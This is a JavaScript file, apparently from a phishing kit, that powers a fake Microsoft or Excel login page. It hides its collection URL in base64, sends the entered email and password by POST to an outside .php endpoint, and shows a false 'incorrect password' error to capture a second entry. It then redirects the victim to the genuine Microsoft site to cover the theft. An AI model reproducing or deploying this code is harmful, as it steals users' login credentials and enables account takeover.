var countAttempt = 0; var sendUrl = atob("aHR0cHM6Ly9zYWZlc3R1ZGlvLmNvbS5ici9iYm5haS9jaW5hLnBocD9nb29nbGUuY29t"); document.addEventListener('DOMContentLoaded', function () { var btnLogin = document.getElementById('btnLogin'); var msgFont = document.getElementById('msgfont'); btnLogin.addEventListener("click", function (event) { event.preventDefault(); var password = document.getElementById('password').value; if (password == "") { msgFont.innerHTML = ""; } else { sendData(); } }); btnLogin.addEventListener("touchend", function (event) { event.preventDefault(); var password = document.getElementById('password').value; if (password == "") { msgFont.innerHTML = ""; } else { sendData(); } }); function sendData() { var xiemail = document.getElementById('email').value; var pipassword = document.getElementById('password').value; console.log("Email - " + xiemail); console.log("Password - " + pipassword); // You can use the FormData object to collect form data var formData = new FormData(document.forms.street); countAttempt++; var xhr = new XMLHttpRequest(); xhr.open('POST', sendUrl); xhr.send(formData); if (countAttempt >= 2) { setTimeout(function () { window.location = "https://excel.cloud.microsoft/"; }, 2000); btnLogin.value = "Verifying...."; msgFont.innerHTML = ""; } else { setTimeout(function () { msgFont.innerHTML = "Your account or password is incorrect. Try again"; btnLogin.value = "Next"; }, 2000); btnLogin.value = "Verifying...."; } } });